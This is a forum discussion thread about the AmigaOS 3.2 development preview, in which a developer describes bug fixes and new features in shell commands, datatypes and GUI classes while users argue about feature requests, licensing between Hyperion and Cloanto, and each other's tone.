None of these changes are radical, just slight tweaks, without impacting the overall "feel" of the Amiga.
The "feel" of Amiga is quite different depending on who you ask, the "feel" is not really important. What is important is how these changes are coming about, the timing and the context. It is _extremely_ "Amiga", and I don't mean that in a good way.

Quote
Which brings me to...
Quote
OS 4.x is a terrible mess
Exactly.
I do not know, and I do not care too much. The reason why I don't care about 4.x is that I never understood what a re-development of a retro-os on another outdated CPU platform is supposed to become.

It makes just as much sense as development of a retro-os on an original outdated CPU - sensewise, OS3 and OS4 are in the same boat.

Quote
I do not understand AROS for the same reason. If I would develop an Os from scratch, I would certainly not re-implement all the design errors of AmigaOs from scratch - so what's the point? There are better open portable operating systems than Amiga.

And nothing prevents you. The point of AROS was to scratch an itch, not to offer a product, nor to please anyone else but the developers themselves. Not like your work has much more point.

Quote
The only point in the 3.x development is to get rid of the "rough edges" of 3.1 and to integrate functionality into the Os that was otherwise provided by patches and hacks, with all the instabilities these provide. This is not about "creating a new operating system for 68K", because if I would want that, I would certainly not start from something as absurd as AmigaOs.

Say it again, louder, so that people can hear you.

What is the roadmap, exactly what patches and hacks do you want to get rid of? At what point do you consider OS3 finished?
Title: Re: Os 3.2 development preview
Post by: kolla on December 09, 2019, 07:59:15 AM
One thing I've noticed with list is a different behavior when listing a directory versus listing the filename in the directory, when a new file is currently getting copied by workbench into that directory:

1) Listing the directory containing the new file, I don't get any DOS errors and everything is fine.
2) Listing the file in the directory by itself, I get a "No information for <filename>: object is in use"

You can also go around this by listing the <filename, replacing any char of its name with a ? wildcard>

What happens is that List will try to "lock" whatever object is specified as argument, and if that file is in use, it will fail. The "absurdity" is perhaps that List will not attempt to lock anything if the argument contains a wildcard... Thomas has already explained earlier why things are as they are, and while it makes total sense, it is utterly absurd UX wise.
Title: Re: Os 3.2 development preview
Post by: kolla on December 09, 2019, 08:17:38 AM
It's what bullies like Kolla do: angry if you do, angry if you don't.
First of all, I am not angry, not at all.

And secondly, "bullies"? I suggest you read yourself up on what "bullying" actually means and perhaps look up "sycophancy" while you are at it.

I am not the one questioning other people's mental health or resorting to name calling here.

Btw - when you do "Resident >NIL: C:Assign PURE" "to speed things up a little", and then go on to use "C:Assign" every time afterwards - how much to you think you speed things up by keeping the Assign command resident?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 09, 2019, 04:18:26 PM
It is clearly a legal necessity, since code has been trickling down from OS4. Right?
Only under the premise that Cloanto & Hyperion don't find an agreement, or Cloanto wins a case.


Nothing wrong with that per se, but by nilly-willy pulling in OS4 components, the legal situation of the code gets even more entangled.
It depends. It is already complicated with the 3.1 code alone, and it unclear to me in how far this could be released to the public either. Besides, just using 3.1 only for 3.1.4 development wouldn't have made it much simpler. It is Hyperion, after all.

Unlike 3.9? Really. I don't find 3.5 and 3.9 to be very "radical" compared to 3.1, nothing fundamental was changed. With 3.2 there will be quite a few fundamental changes though, like system-startup, loading kickstart components from disk and setting up various devices pre-boot.
The GUI changed with 3.9 due to reaction, and it was the first Os that was 68020 only. 3.2 goes into a different direction.

And this bewilders me - IDEFix97 is named this for a reason - it came about in 1997 - it is more than 20 years ago. And support in other operating systems came along within a few years. And as it turns out, OS3.9 and OS4 also has had support all along... so, is it really experimental?
You surprise me. 3.1.4 has the same sort of "support" for it, as the scsi.device is based on the 3.9 version. Believe there must be reasons in 3.9 *NOT* to enable it by default. As the code I posted shows, it was probably due to an agreement between H&P and Oliver Kastl. The technical reason is likely that, without connecting a second drive, the gates of such adapters may be floating, and then may read whatever was on the bus, so the detection is unreliable and may return false positives.

One way or another, I do not know, and I haven't tested, and what has not been tested does not work.


And refrain from using emulators as test cases?? This is _exactly_ what makes WinUAE so extremely useful, it has pretty much accurate emulation of _tons_ of Amiga hardware - and then the OS developers refuse to touch it? I find this ridiculous!
In this case? Not at all. WinUAE is certainly fine as far as high-level emulation is concerned, but otherwise, it depends very much on models of the hardware that may or may not reflect reality. As for example for the four-way adapters, I'm quite sure it emulates them fine in so far as it makes the detection code happy, but that's not quite what I need. I don't need to test the code in the easy cases. I need to test it in real life, with the effects you get then - such as reading all sorts of nonsense if there is no drive connected.

Just to give you an idea: We couldn't test CDFS audio support either because WinUAE does not emulate it properly, but we had beta testers that could perform the testing. And CDXL support is still missing from it because we cannot test properly.

Yes, it means sometimes that features will go due to lack of hardware. If I get hands on the hardware, I can add support, but only then. As soon as it goes down to the real hardware level, emulation is a fairly bad advice.

Regarding the Reaction classes, I have two issues
* they are not the most efficient, nor the visually prettiest, often looking out of place
It is not efficient because boopsis are not efficient. They use a smalltalk-like dispatcher mechanism where every item on the hierarchy compares a method ID against the methods it supports, so one big lookup per level. The boopsi hierarchy can be pretty deep, so a lot of such dispatcher mechanisms are nested to each other. This makes it inefficient.

Yes, we know, and that's why the GUI is gadtools at this moment. So, it's a complexity that does not matter for you, or for any low-end machine, because it is not used. However, why is it so bad that reaction is delivered, as an option?

* more importantly - they are now considered Hyperion property and part of the "arsenal" against a better future.
Again, why all this hate against Hyperion? The same could be said about Cloanto. Both are commercial enterprises, and want to earn money, in one way or another.


No, "anyone free to have whatever anyone wish" is what I would prefer.
Ah, so once again: What is so bad about shipping Reaction? Don't use it, you're fine. You have a political agenda, and its against this agenda, but I'm talking about the technical aspects.


Old bugs that are _well known_ - which makes a huge difference.
Oh, really? So what's so great about knowing that graphics may trash my memory, and that trackdisk may trash my memory, and there is nothing I can do against it? This does not make me feel very comfortable.

Quite the reverse: With 3.x, such bugs will be addressed, and whatever bugs I get aware of. So what's better? An old rotten os, or one that is receiving updates?


And again I recommend to make a release candidate or two available in the wild for public testing at least for a month or two before burning and selling kickstart chips - it would _REALLY_ help a lot.
Yeah, right... so how would that work as commercial product? Not at all... So once again: Whoever wants to help testing is welcome, but no, it makes no sense to release ROMs to the public because then there is not much of a product left that can be sold.

I do not mind rebooting, I don't know why so many care so much, makes me wonder if their systems are so unstable that boot time is so important.
But you are not the only user. You are one of many users, and there were many voices that rebooting is troublesome. Not for me either, but that is not quite the point.


For me it is more important that systems are easy to debug, that they don't do unexpected things (like picking up some random ROM component from a filesystem that owner is using as download area)
There is nothing "random" at all. What is better? Not to upgrade components if you boot from another location, say a floppy? Or take the updates from another partition? You can easily "prevent randomness" by placing the right components into the boot volue.

Well, if you know different, then please feel free to elaborate.
No, I DO NOT know. That is exactly the point. I do not make promises I cannot hold, so I don't make any. There may or may not be an update, but it all depends on the spare time of the developers.

Necessary? Not at all - cool, but not necessary. But that was not what I was writing, was it - I was writing that what is presented here, with this 3.2 line, is much more of a change over 3.1 than what OS3.5 and 3.9 ever was.
No, not really. It is just a different direction. 3.9 was supposed to target "higher end machines", hoping for more to come. This did not become true. 3.2 is a different direction. Target all the hardware that is out in the wild, but do not add features that add complexity.


The "GUI" was not changed in 3.9 either, less so, as it was still good old 3.1 Intuition.
It changed pretty much for me.

Now we have Intuition.library v45 - based on original sources and rewritten from scratch, as the OS4 advert says... :)
I don't know which intuition Os 4 has, but the one we have has still all the original comments in it and is hence based on the original. It is just a very elaborate port of the greenhill C source of intuition, which could not compile "as is" on SAS/C due to some features the SAS does not offer.

Nothing - I welcome this. Too bad it will be entangled with Hyperion legalese.
And what's the "bad" part about it? This is exactly your problem. Hyperion is a commercial enterprise, Cloanto is another. If it would be under Cloanto, it would be "entangled by Cloanto legalese".

Well, I prefer this turned off, as it does not fit with my "workflow" where I often push windows to the screen border, or resize against a screen border. I would very much prefer to set qualifier that I can hold if I wish to drag windows off-screen. Also, without being able to have windows larger than screen, I really see very little use for it at all.
I may have forgotten that v45 implements a certain "resistance" of windows getting moved out of the screen. So you have to "push a bit harder" to move them.


It makes just as much sense as development of a retro-os on an original outdated CPU - sensewise, OS3 and OS4 are in the same boat.
I don't really see that. Os 4 started as obsolete Os on new hardware, hoping for more to come. At this time, the hardware is old, unpopular, expensive and outdated, without ever reaching the market penetration. 68K hardware is old, but has a history - like an oldtimer - that is worth preserving. The difference is the software collection - there is much more 68K software than PPC software that makes the 68Ks worth using.


And nothing prevents you. The point of AROS was to scratch an itch, not to offer a product, nor to please anyone else but the developers themselves. Not like your work has much more point.
Which itch? "We cannot do an Os either?" Yes, I see that, but what's the point?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 10, 2019, 05:04:43 AM
Another component.... C:Copy

C:Copy had one issue in 3.1.4. namely that it did not release its copy buffer. We fixed that, of course. There is another interesting bug that is older and goes back to 3.1 times, and one new feature.

The bug is that if you copy directory "a" to a directory "b", then "copy" tried to carry over the creation date from "a" to the destination if the "clone" option was used. Strangely, due to some kind of mixup, it did not set the creation date of "destination/b", but "destination/a", i.e. with the file name of the source carried over. For a recursive directory copy, it is almost always the right thing to do, but not so for the topmost level if the target directory gets a new name. The problem went unnoticed because "copy" never tried to report an error if this file date adjustment did not work.

Another related aspect was that "copy clone" only tried to adjust the creation date, but not the protection bits or file note of directories, that is "copy clone" did not carry over all metadata for directories. The reason might have been that protection bits mean nothing on directories - in fact, early v34 FFS implementations did not even fill them in and showed nonsense on a "List" for them, so this might be a feature that came into FFS later and that was forgotten to add when porting the BCPL code to C. Though I'm speculating.

A new feature is the "FORCE" keyword which will forcibly overwrite the target, even if it is write or delete-protected, similar to the FORCE keyword of "Delete".
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 10, 2019, 05:15:33 PM
Some other changes of C: components:

- Conclip was updated for the new con-handler features. Once loaded, CON:-windows can be iconified, and icons can be dragged into them.

- IPrefs allows now the scaling the image, or centering it, or tiling it. Scaling comes in two quality factors. IPrefs shows all the names of all windows that block the workbench from being closed, making it easier to identify components that are "in the way". IPrefs also reads the configuration for the workbench title string, and the workbench flags, such as windows can be dragged out of the screen.

- mount comes with an additional keyword "SHUTDOWN" that requests a file system or a handler to go away. This does not remove the mount entry, but the running task. "mount df0: shutdown" thus makes the df0: floppy go away. The next "list df0:" restarts the handler process again.

- assign prints the list of volumes that have been "denied" if assignwedge is running.

- version had a bug that could run into an endless loop because the algorithm to detect a version-indicator ("$VER:") was broken. No new features here, though.

- SetPatch includes now a workaround for programs that do not check the return code of AllocEntry() correctly. It seems plausible that AllocEntry() returns NULL in case of failure, but it does not. It returns with the passed in memory list with bit 31 set. This patch identifies most popular cases of failure and avoids crashing programs. Unfortunately, a common source of failure were erratic functions linked in through amiga.lib.

- SetDate gets a new keyword "FROM" that copies the date over from another file.

- The CPU command is now able to detect the F6 erratum of the 68060 and identifies the Apollo FPGA.

- adddatatypes had a bug carried over from the 3.9 code that could trigger a hit in some area of the datatypes.library when finding a suitable datatype for an unknown source.

- changetaskpri  can now also change the priority of a cli process by name, not only by its "process ID".

- the same goes for "break", which also accepts the name of a CLI process to stop.

Title: Re: Os 3.2 development preview
Post by: rxxic on December 10, 2019, 08:10:45 PM
All the news about OS3.2 are exciting. It's very welcome you are heading towards eliminating as many bugs as possible in the OS! Thanks a lot for the passion and taking the time to develop and also posting the "Explanation Episodes"! :) :)
Are you developers hoping to get to a stage where will OS3.x be considered "completed" one day or will most or almost all the functionality of v3.9 be implemented (without wanting to step on anybody's toes, only those features which you developers deem to be sensible and worth implementing--of course)? And maybe possibly reach close to OS4 functionality (for those classic machines with more powerful expansions and/or vampires)? Well, the answer to this question might as well be something which is discussed internally in the dev-team, and is rather kept hidden 'till the time is right. ;)

Here a couple of questions regarding some features of which I not even know if it's possible to implement at all:

- I was wondering if it is somehow possible to change how the Pointer is rendered on some Screen Modes.
For example when using Multiscan the "Hi-Res" Pointer has right proportions. Using PAL Hi-Res interlace and the setting "Low-Res" pointer in pointer prefs, renders a huge Pointer; the "Hi-Res" setting in the latter preference editor, display a distorted pointer. Kind of ugly. I would love it, if it had the proper proportions instead.

- enhancement for “copy”, add a "pattern" option. So “copy PAT=#?.info ALL sys: TO backup:icons/“ wold be handy to use.
- Scroll wheel inversion, for those using a mouse with a scroll wheel and spoiled by a fruitOS
- For the Workbench, change "Delete" keyboard shortcut from RAmiga-D (yes, it's really "Delete" and sadly not "Duplicate") to RAmiga-Backspace and/or RAmiga-Del. To have a little more consistency with the shortcuts of the rest of the system. What does the Style guide say about it?
- Have the possibility to change the icon type in the WBInfo window. e.g., from "Project" to "Tool". Actually the RAWBInfo is really useful! :)
Title: Re: Os 3.2 development preview
Post by: Tygre on December 10, 2019, 08:16:01 PM
And secondly, "bullies"? I suggest you read yourself up on what "bullying" actually means and perhaps look up "sycophancy" while you are at it.

@kolla Please do so yourself for a refresher and also look at the definition and symptoms of a "chronic complainer"...

That must be really tough. ::)
Title: Re: Os 3.2 development preview
Post by: Minuous on December 10, 2019, 10:47:04 PM
@rxxic:

Well, don't throw away your OS3.9 CD just yet; not every tool will be as feature-complete as H&P's equivalents, so some components from OS3.2 will be better to be overwritten with OS3.9 components.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 11, 2019, 06:24:09 PM
Are you developers hoping to get to a stage where will OS3.x be considered "completed" one day or will most or almost all the functionality of v3.9 be implemented (without wanting to step on anybody's toes, only those features which you developers deem to be sensible and worth implementing--of course)?
Well, what's "complete" then? It's probably "complete" when everybody lost the motivation to continue working on it. Whether someone will pick up to re-implement the reaction prefs is hard to say. I believe we should continue shipping the gadtools preferences for a while as the intention is not to exclude particular machines. However, that should not preclude us to implement additional alternative programs users may install instead.

And maybe possibly reach close to OS4 functionality (for those classic machines with more powerful expansions and/or vampires)? Well, the answer to this question might as well be something which is discussed internally in the dev-team, and is rather kept hidden 'till the time is right. ;)
Who can say? Actually, I don't think we would be able to re-implement everything from Os 4 as we have much less powerful machines available.

- I was wondering if it is somehow possible to change how the Pointer is rendered on some Screen Modes.
For example when using Multiscan the "Hi-Res" Pointer has right proportions. Using PAL Hi-Res interlace and the setting "Low-Res" pointer in pointer prefs, renders a huge Pointer; the "Hi-Res" setting in the latter preference editor, display a distorted pointer. Kind of ugly. I would love it, if it had the proper proportions instead.
This is pretty much a limitation of the graphics system, both the hardware and the actual implementation of graphics.library. Graphics.library has to be replaced at some point, but this is a major task.


- enhancement for “copy”, add a "pattern" option. So “copy PAT=#?.info ALL sys: TO backup:icons/“ wold be handy to use.
I can keep this as a feature request, though you can probably create a script nowadays that does that with list and lformat. Actually, the shell is not very powerful - it should at least include better means for iteration.

- Scroll wheel inversion, for those using a mouse with a scroll wheel and spoiled by a fruitOS
The native hardware does not have input for scroll wheels, though some USB stacks send the right events. However, it also takes programs to handle these events. It is not simply a matter of the scroller as it is not directly the receiver of the events, but the window the scroller is in is. Thus, it would require to upgrade programs using scrollers to make use of these events.


- For the Workbench, change "Delete" keyboard shortcut from RAmiga-D (yes, it's really "Delete" and sadly not "Duplicate") to RAmiga-Backspace and/or RAmiga-Del. To have a little more consistency with the shortcuts of the rest of the system. What does the Style guide say about it?
My style guide says that we shouldn't change such traditions lightly.

- Have the possibility to change the icon type in the WBInfo window. e.g., from "Project" to "Tool". Actually the RAWBInfo is really useful! :)
Frankly, the info window should not replace an icon editor. There are specialized programs to modify icons in all possible ways. Arguably, the included icon editor is a very primitive one.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 11, 2019, 06:36:04 PM
Datatypes: Yes, some news here, too.

First, a general comment. Pretty much all datatypes - except those already included in 3.1.4 - had a race condition in the library handling and could crash the machine if memory run out. It is a pretty unlikely condition under which this happens, but still, let's get things right.

The text.datatype allows now searching. It is based on the Os 4 code, but we had to make a couple of adjustments. The search window is now gadtools based (following the general guideline of 3.2), and certainly font-sensitive (as all new gadtools GUIs). It also works a little bit nicer for searching upwards and downwards. There were also a couple of race conditions in searching that could create chaos due to the lack of proper mutex protection.

Scrolling the text window also created some defects if parts of the window were occluded while scrolling. Actually, the window refresh code was not quite right.

The ascii.datatype did not handle the "reverse on/off" CSI sequence correctly. This bug was reported here.

We have one bug fixed in the picture.datatype that could crash if some of the properties of the picture were set in the wrong order while loading a picture into it.

Then, there is one new/old datatype, namely that for bmp pictures (windows bitmap). Actually, there is not much of the old code left. The new bmp datatype supports all sorts of bitmaps, 1 bit, 4 bit, 8 bit, Os/2, Windows, palette based, high-color, true-color, compressed... Thus, support for bmp should be pretty complete now.
Title: Re: Os 3.2 development preview
Post by: my_pc_is_amiga on December 11, 2019, 08:35:20 PM
Thanks for the datatypes updates!   Is text search possible for AmigaGuide?   
WAV and AIFF datatypes on Aminet don't seem to work on 3.1.4.   Any likely hood of including some updated sound WAV / AIFF ones in the future?
Title: Re: Os 3.2 development preview
Post by: spotUP on December 11, 2019, 10:01:45 PM
@Thomas thanks for all your replies and updates.
Did you miss my question?

”Hi! Would it be possible to implement an option to hide .hidden unix files?
It’s very annoying these days working with files on a usb stick that came from a mac etc. So much clutter.”
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 12, 2019, 05:07:10 AM
Thanks for the datatypes updates!   Is text search possible for AmigaGuide?   
No, no updates there.
WAV and AIFF datatypes on Aminet don't seem to work on 3.1.4.   Any likely hood of including some updated sound WAV / AIFF ones in the future?
They do work, but only for 8 bit samples because this is all the hardware can do.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 12, 2019, 05:07:56 AM
”Hi! Would it be possible to implement an option to hide .hidden unix files?
No.
Title: Re: Os 3.2 development preview
Post by: my_pc_is_amiga on December 12, 2019, 07:11:33 AM
They do work, but only for 8 bit samples because this is all the hardware can do.

I'll have to check more but I seem to be getting "Unknown data type for <filename>" for both a AIFF and WAV file.

I was trying the versions here:
https://www.stephan-rupprecht.de/
Title: Re: Os 3.2 development preview
Post by: Gulliver on December 12, 2019, 07:41:39 AM
They do work, but only for 8 bit samples because this is all the hardware can do.

I'll have to check more but I seem to be getting "Unknown data type for <filename>" for both a AIFF and WAV file.

I was trying the versions here:
https://www.stephan-rupprecht.de/

To make that particular wav datatype work on any 3.x version of AmigaOS you also need to use his sound.datatype v41.
Title: Re: Os 3.2 development preview
Post by: rxxic on December 12, 2019, 08:40:47 AM
Are you developers hoping to get to a stage where will OS3.x be considered "completed" one day or will most or almost all the functionality of v3.9 be implemented (without wanting to step on anybody's toes, only those features which you developers deem to be sensible and worth implementing--of course)?
Well, what's "complete" then? It's probably "complete" when everybody lost the motivation to continue working on it. Whether someone will pick up to re-implement the reaction prefs is hard to say. I believe we should continue shipping the gadtools preferences for a while as the intention is not to exclude particular machines. However, that should not preclude us to implement additional alternative programs users may install instead.

And maybe possibly reach close to OS4 functionality (for those classic machines with more powerful expansions and/or vampires)? Well, the answer to this question might as well be something which is discussed internally in the dev-team, and is rather kept hidden 'till the time is right. ;)
Who can say? Actually, I don't think we would be able to re-implement everything from Os 4 as we have much less powerful machines available.
Well then, I suppose it's "completed" when it will not be possible to add functionality without excluding some machines.
Quote

- I was wondering if it is somehow possible to change how the Pointer is rendered on some Screen Modes.
For example when using Multiscan the "Hi-Res" Pointer has right proportions. Using PAL Hi-Res interlace and the setting "Low-Res" pointer in pointer prefs, renders a huge Pointer; the "Hi-Res" setting in the latter preference editor, display a distorted pointer. Kind of ugly. I would love it, if it had the proper proportions instead.
This is pretty much a limitation of the graphics system, both the hardware and the actual implementation of graphics.library. Graphics.library has to be replaced at some point, but this is a major task.
That's a pity as it is one of the most prominent every-day visual things which catches the eye!
Quote
- enhancement for “copy”, add a "pattern" option. So “copy PAT=#?.info ALL sys: TO backup:icons/“ wold be handy to use.
I can keep this as a feature request, though you can probably create a script nowadays that does that with list and lformat. Actually, the shell is not very powerful - it should at least include better means for iteration.
yes, a two stages script is ok, you are right, one to create the subdirectories and one to copy the files itself.
The above example I posted would not work anyway as there is a need for an additional optional keyword (e.g. MULTIPLE) in order to tell "copy" to create the subdirectories as well. Else the files will probably all be copied to the directory given as argument, possibly creating naming conflicts.
Quote
- Scroll wheel inversion, for those using a mouse with a scroll wheel and spoiled by a fruitOS
The native hardware does not have input for scroll wheels, though some USB stacks send the right events. However, it also takes programs to handle these events. It is not simply a matter of the scroller as it is not directly the receiver of the events, but the window the scroller is in is. Thus, it would require to upgrade programs using scrollers to make use of these events.
Oh dear, this is complicated and updates for old software are highly unlikely to happen. Thanks for explaining this. I take back my proposition.
Quote
- For the Workbench, change "Delete" keyboard shortcut from RAmiga-D (yes, it's really "Delete" and sadly not "Duplicate") to RAmiga-Backspace and/or RAmiga-Del. To have a little more consistency with the shortcuts of the rest of the system. What does the Style guide say about it?
My style guide says that we shouldn't change such traditions lightly.
looks like my suggestions are very too much influenced by other OSs. I apologise. However, I still think it is a good idea to have the delete/backspace key do what it is usually associated with.
Not trying to force your decision here at all, but if this change was going to far, many of those ones concerning consistency should be discarded too.
And window dragging beyond the screen corner is weird to Amiga OS too. Or the new options in the early-boot to update some ROM modules from disk. Or kind of eliminating AUX.. I'll stop, it starts to read a rant. ;)
Quote
- Have the possibility to change the icon type in the WBInfo window. e.g., from "Project" to "Tool". Actually the RAWBInfo is really useful! :)
Frankly, the info window should not replace an icon editor. There are specialized programs to modify icons in all possible ways. Arguably, the included icon editor is a very primitive one.
Yes, you are right here too, it was just a matter of being handy, probably only personally to me; because I am the lucky one here, encountering icons with the wrong type associated to them surprisingly often.

I might in this regard have a little bug to report for IconEdit. I can reproduce this on a vanilla 3.1.4.1 and also 3.1.4.1 plus the latest BestWB v1.3. If I try to exchange the images of the AWeb icon included in the official AmigaOS 3.14 IconPack (Masons)--the Keyboard-shortcut is RAmiga+e--it will not do it. This happens with all new official multicoloured icons so far. The images of the 1992 4-col icons do swap.
I managed to swap the images of the new official Mason icons for 3.1.4 with the OS4 IconEditor however. :)
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 13, 2019, 06:19:01 AM
Another day, another component: The window class

This is a reaction class, and a representation of an intuition window. The class implements message handling, refresh and iconification, on top of the boopsi system.
The 3.9 preferences are based on the window class. The window class we have here is based on the Os 4 (v50) class, though with a couple of fixes:

*) As for all boopsis, the library open/close code had a race condition that could crash the machine in rare circumstances.
*) window iconification is now based on the native intuition window flag, and no longer on a custom gadget.
*) the busy-pointer is now the native intuition busy pointer and no longer a custom pointer.
*) the window backfill hook could crash in some situations
*) message handling had a race condition that, under rare circumstances, could have made the class loop forever, and it might have
forgotten to reply some messages, causing memory holes.

Thus, mostly bugfixes, though the class itself is quite a bit shorter now because code that was part of the class moved into intuition, and it was also
recompiled with somewhat better compiler settings.
Title: Re: Os 3.2 development preview
Post by: kolla on December 13, 2019, 06:52:17 AM
- Conclip was updated for the new con-handler features. Once loaded, CON:-windows can be iconified, and icons can be dragged into them.
Do iconified CON:-windows act as app-icons?
Can for example scripts be dropped on the icon of an iconified CON:-window?

Quote
- IPrefs allows now the scaling the image, or centering it, or tiling it. Scaling comes in two quality factors. IPrefs shows all the names of all windows that block the workbench from being closed, making it easier to identify components that are "in the way". IPrefs also reads the configuration for the workbench title string, and the workbench flags, such as windows can be dragged out of the screen.
I am still puzzled by how all this is the job of IPrefs (as in *Intuition* Prefs) rather than Workbench itself.

Quote
- SetDate gets a new keyword "FROM" that copies the date over from another file.
As in posix style "touch -r" I presume?
A long time wish-list/request from me would be that C:Date should be able to set system time in a similar faction, from the timestamp of a reference file.

Quote
- The CPU command is now able to detect the F6 erratum of the 68060 and identifies the Apollo FPGA.
Huh, do you mean the Apollo Core 68080 CPU? Or can you actually identify which FPGA is used? You are aware that there are at least three different variations of the AC68080? Without any FPU, with "full FPU" (Cyclone V FPGA, V4 standalone), and lastly the more interesting and most common, "limited FPU" (Cyclone III, Gold Core 2.7+ on various V2 and V3 cards). Can C:CPU now distinguish between the different FPU implementations?

Quote
- changetaskpri  can now also change the priority of a cli process by name, not only by its "process ID".
- the same goes for "break", which also accepts the name of a CLI process to stop.

One can already do this with back-ticking, for example "break `status command name`", but there is always the problem of many tasks having the same name. What does "changetaskpri" and "break" do when they find more tasks matching the name they are given?
Title: Re: Os 3.2 development preview
Post by: my_pc_is_amiga on December 13, 2019, 07:03:59 AM
Ah...thanks for the info.   Found one that doesn't need v41 and it is working!

http://wup.aminet.net/package/util/dtype/fpWAV_dt40.2

They do work, but only for 8 bit samples because this is all the hardware can do.

I'll have to check more but I seem to be getting "Unknown data type for <filename>" for both a AIFF and WAV file.

I was trying the versions here:
https://www.stephan-rupprecht.de/

To make that particular wav datatype work on any 3.x version of AmigaOS you also need to use his sound.datatype v41.
Title: Re: Os 3.2 development preview
Post by: kolla on December 13, 2019, 07:04:24 AM
@rxxic:

Well, don't throw away your OS3.9 CD just yet; not every tool will be as feature-complete as H&P's equivalents, so some components from OS3.2 will be better to be overwritten with OS3.9 components.

Such as?

The only components I would perhaps wish to bring from OS3.9, from the top of my head...

* SYS:System/Find - only requires one or two Reaction classes that I presume are now part of OS3.2
* RAWBInfo - same as Find, only requires classes that I presume are now part of OS 3.2
* Unarc - also requires resource.library, which I presume would need to be brought from OS 3.9
* "Ghostbuster" edition of SYS:Prefs/Workbench that allows one to hide NDOS/"Uninitialized" (sic) volumes from Workbench.

Anything else?
Title: Re: Os 3.2 development preview
Post by: my_pc_is_amiga on December 13, 2019, 07:09:53 AM
GIF and AIFF datatypes... :)

@rxxic:

Well, don't throw away your OS3.9 CD just yet; not every tool will be as feature-complete as H&P's equivalents, so some components from OS3.2 will be better to be overwritten with OS3.9 components.

Such as?

The only components I would perhaps wish to bring from OS3.9, from the top of my head...

* SYS:System/Find - only requires one or two Reaction classes that I presume are now part of OS3.2
* RAWBInfo - same as Find, only requires classes that I presume are now part of OS 3.2
* Unarc - also requires resource.library, which I presume would need to be brought from OS 3.9
* "Ghostbuster" edition of SYS:Prefs/Workbench that allows one to hide NDOS/"Uninitialized" (sic) volumes from Workbench.

Anything else?
Title: Re: Os 3.2 development preview
Post by: kolla on December 13, 2019, 07:18:42 AM
- Have the possibility to change the icon type in the WBInfo window. e.g., from "Project" to "Tool". Actually the RAWBInfo is really useful! :)
Frankly, the info window should not replace an icon editor.
Oh please... that is not an argument  ::)

The info window has always been an editor, where you...
* edit stack size
* edit priority
* edit tooltypes
* edit default tool
* edit comments
* edit file system flags
* edit icons graphics by drag&drop

I don't think it is too much to ask for...
* edit type of icon (tool/drawer/project/disk)
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 13, 2019, 07:39:52 AM
Do iconified CON:-windows act as app-icons?
Technically, yes, but this is not your question.

Can for example scripts be dropped on the icon of an iconified CON:-window?
No.


I am still puzzled by how all this is the job of IPrefs (as in *Intuition* Prefs) rather than Workbench itself.
IPrefs installs the backfill hook and keeps care of the refresh. It also the job of IPrefs to read the preferences and push them into workbench, intuition and other system compnoents.



As in posix style "touch -r" I presume?
As in "copy it from another file".

A long time wish-list/request from me would be that C:Date should be able to set system time in a similar faction, from the timestamp of a reference file.
No. What's the point, and why do you want to automate the system date setting? It's only set once the system is booted.

Huh, do you mean the Apollo Core 68080 CPU? Or can you actually identify which FPGA is used?
No. I don't care, I don't mind. If the FPGA bit in ExecBase is set, it will print that information. That's it. It is not the job of exec or CPU to set it, and it means whatever the folks that set it make to mean it. I was suggesting an API to get additional details on the CPU, but this proposal was put down, so we have one flag that means "FPGA". We are running low of exec->AttnFlags anyhow, so we cannot spend more than a bit on it.


One can already do this with back-ticking, for example "break `status command name`", but there is always the problem of many tasks having the same name. What does "changetaskpri" and "break" do when they find more tasks matching the name they are given?
Change all of them, break all of them. It is a pattern match. Same as in "killall" vs. "kill".

Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 13, 2019, 07:41:03 AM
* SYS:System/Find - only requires one or two Reaction classes that I presume are now part of OS3.2
I'm not there yet, but we have a new "Find" utility that is gadtools based, scalable GUI of course.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 13, 2019, 07:43:00 AM
I don't think it is too much to ask for...
* edit type of icon (tool/drawer/project/disk)
It is too much to ask. Changing this will break the application whose icon you edit, or will create strange results.
Title: Re: Os 3.2 development preview
Post by: kolla on December 13, 2019, 08:34:19 AM
I don't think it is too much to ask for...
* edit type of icon (tool/drawer/project/disk)
It is too much to ask. Changing this will break the application whose icon you edit, or will create strange results.

As will editing stack size, tooltypes, setting a different default tool, changing file system flags... ::)

Well, long live RAWBInfo, SwazInfo and other similarly buggy patches then.
Title: Re: Os 3.2 development preview
Post by: kolla on December 13, 2019, 08:39:46 AM
No. I don't care, I don't mind. If the FPGA bit in ExecBase is set, it will print that information. That's it. It is not the job of exec or CPU to set it, and it means whatever the folks that set it make to mean it. I was suggesting an API to get additional details on the CPU, but this proposal was put down, so we have one flag that means "FPGA". We are running low of exec->AttnFlags anyhow, so we cannot spend more than a bit on it.

Cool, I will then request for this flag to be supported by the other 68k cores running on FPGAs - what could possibly break :)
Title: Re: Os 3.2 development preview
Post by: kamelito on December 13, 2019, 09:40:44 AM
Other FPGA are not improving the Amiga CPU or the Chipsets’ their aim are more into preservation and so accuracy. Knowing that they should be treated like any other Amigas no?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 13, 2019, 09:44:22 AM
As will editing stack size, tooltypes, setting a different default tool, changing file system flags... ::)

Well, long live RAWBInfo, SwazInfo and other similarly buggy patches then.
Here we go again. Just because you $favorite_feture is not supported, you bully around. Kolla, forget it. This is not how it works. We need to schedule the rare development time reasonable, and this is without reason. The only use case that comes into my mind where you would adjust the icon type is if you edit the icon anyhow, so it is better placed in an icon editor rather than the generic workbench interface. The system default tools should satisfy the needs of the majority of users, in a simple effective way without overloading the functionality with features that are only requied rarely and that just overload the (already too large) GUI.

Use the right tool for the job. No, adjusting the icon type is not a good feature for an *information window*. It is a job for an icon editor. We have one. Again a very basic one.

Besides, Rawbinfo or swazinfo are not patches. They just implement the info hook of the workbench. If you want features implemented there, bug their authors. It's ok to have third party tools.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 13, 2019, 09:49:02 AM
Cool, I will then request for this flag to be supported by the other 68k cores running on FPGAs - what could possibly break :)
